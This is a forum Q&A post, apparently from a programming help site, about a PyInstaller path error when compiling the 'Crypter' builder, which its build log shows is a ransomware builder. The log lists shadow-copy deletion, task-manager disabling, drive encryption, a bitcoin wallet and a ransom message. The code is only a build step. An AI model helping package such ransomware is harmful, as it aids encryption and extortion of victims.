Search code examples
pythonpyinstaller

Crypter build error when turning into an executable


I am turning the Crypter program into an executable with PyInstaller but when I click on Build it stops when trying to call PyInstaller. It works just fine when running Builder.pyw normally as not an executable but as python Builder.pyw. When running the cmd and running pyinstaller --version I get the right version coming back. I even did pip install pyinstaller==3.6 in the cmd so that it is the same version as the one in the program. As not an executable and running normally, I did use a virtual environment with the version modules seen in the requirements.txt file. The python version I am using is 3.7.0.

def __run_pyinstaller(self, spec_path):
    '''
    @summary: Invokes PyInstaller with the generated SPEC file
    @param spec_path: The path the the created PyInstaller SPEC file
    '''
    # Check for stop
    if self.__stop_event.isSet():
        raise UserHalt

    self.__console_log(msg="Calling PyInstaller. Please wait...")

    # Get PyInstaller location
    pyinstaller_path = os.path.join(os.path.dirname(sys.executable), "pyinstaller.exe")
    if not os.path.isfile(pyinstaller_path):
        self.__console_log("PyInstaller not found at '%s'. Making system wide call instead" % pyinstaller_path,
                           debug_level=2)
        pyinstaller_path = "pyinstaller"
    else:
        self.__console_log("PyInstaller found at '%s'" % pyinstaller_path,
                           debug_level=2)

    # Build command
    cmd = [
        pyinstaller_path,
        '--noconsole',
        '--clean',
        '-F',
        ]
    if self.user_input_dict["upx_dir"]:
        cmd.append("--upx-dir")
        cmd.append(self.user_input_dict["upx_dir"])
    else:
        cmd.append("--noupx")
    cmd.append(spec_path)
    
    self.__console_log(msg="Running command: %s" % " ".join(cmd),
                       debug_level=2)
                       
    
    # Call PyInstaller subprocess
    try:
        build = subprocess.Popen(cmd,
                      stdout=subprocess.PIPE,
                      stderr=subprocess.STDOUT,
                      creationflags=0x08000000 # To prevent console window opening
                    )
    except WindowsError as we:
        raise BuildFailure(
            ERROR_FILE_NOT_FOUND,
            "Call to PyInstaller failed. Check that PyInstaller is installed and can be found"
            " on the system path"
        )

    while True:
        # Check for stop
        if self.__stop_event.isSet():
            build.kill()
            raise UserHalt
        
        line = build.stdout.readline()
        if line:
            self.__console_log(msg=line.rstrip(), 
                               _class="PyInstaller",
                               debug_level=1)
        else:
            break

This is the console from inside the program.

[2024-06-02 13:29:52]: Build Launched
[2024-06-02 13:29:52]: DEBUG Level: 1 - Low
[2024-06-02 13:29:52]: Builder: Checking configuration...
[2024-06-02 13:29:52]: Builder: Checking builder_language
[2024-06-02 13:29:53]: Builder: Checking pyinstaller_aes_key
[2024-06-02 13:29:53]: Builder: Checking icon_file
[2024-06-02 13:29:53]: Builder: Checking open_gui_on_login
[2024-06-02 13:29:53]: Builder: Checking time_delay
[2024-06-02 13:29:53]: Builder: Checking gui_title
[2024-06-02 13:29:53]: Builder: Checking upx_dir
[2024-06-02 13:29:53]: Builder: Checking delete_shadow_copies
[2024-06-02 13:29:53]: Builder: Checking disable_task_manager
[2024-06-02 13:29:53]: Builder: Checking key_destruction_time
[2024-06-02 13:29:54]: Builder: Checking wallet_address
[2024-06-02 13:29:54]: Builder: Checking bitcoin_fee
[2024-06-02 13:29:54]: Builder: Checking encrypt_attached_drives
[2024-06-02 13:29:54]: Builder: Checking encrypt_user_home
[2024-06-02 13:29:54]: Builder: Checking max_file_size_to_encrypt
[2024-06-02 13:29:54]: Builder: Checking filetypes_to_encrypt
[2024-06-02 13:29:54]: Builder: Checking encrypted_file_extension
[2024-06-02 13:29:54]: Builder: Checking make_gui_resizeable
[2024-06-02 13:29:54]: Builder: Checking always_on_top
[2024-06-02 13:29:55]: Builder: Checking background_colour
[2024-06-02 13:29:55]: Builder: Checking heading_font_colour
[2024-06-02 13:29:55]: Builder: Checking primary_font_colour
[2024-06-02 13:29:55]: Builder: Checking secondary_font_colour
[2024-06-02 13:29:55]: Builder: Checking ransom_message
[2024-06-02 13:29:55]: Builder: Checking debug_level
[2024-06-02 13:29:55]: Builder: Validation successful
[2024-06-02 13:29:55]: Builder: Encryption will target attached drives and the user's home directory
[2024-06-02 13:29:55]: Builder: Creating binary runtime config at ../CrypterBuilder\Resources\runtime.cfg
[2024-06-02 13:29:55]: Builder: Runtime config successfully written
[2024-06-02 13:29:55]: Builder: Creating PyInstaller SPEC file
[2024-06-02 13:29:55]: Builder: (Warning): UPX path not specified. The PyInstaller binary will not be packed. It is recommended that UPX is used as this can reduce the binary size by several Megabytes
[2024-06-02 13:29:55]: Builder: SPEC file successfully created
[2024-06-02 13:29:55]: Builder: Calling PyInstaller. Please wait...
[2024-06-02 13:29:55]: (ERROR): Builder: A Build failure occurred (2): Call to PyInstaller failed. Check that PyInstaller is installed and can be found on the system path
[2024-06-02 13:29:55]: Build finished with error

I removed the exception and the try and looked in the console when turning the Builder.py (I renamed it to a py file instead of pyw) into an executable and got this error message.

Exception in thread Thread-1:
Traceback (most recent call last):
  File "threading.py", line 917, in _bootstrap_inner
  File "CrypterBuilder\BuilderThread.py", line 192, in run
  File "CrypterBuilder\BuilderThread.py", line 306, in __run_pyinstaller
  File "subprocess.py", line 756, in __init__
  File "subprocess.py", line 1155, in _execute_child
FileNotFoundError: [WinError 2] The system cannot find the file specified

Solution

  • I had to change the path of the pyinstaller to the virtual environment pyinstaller.exe in the Scripts folder.

            pyinstaller_path = os.path.join('../venv', 'Scripts', 'pyinstaller.exe')
            if not os.path.isfile(pyinstaller_path):
                pyinstaller_path = 'pyinstaller'  # Fallback to assuming it's in the PATH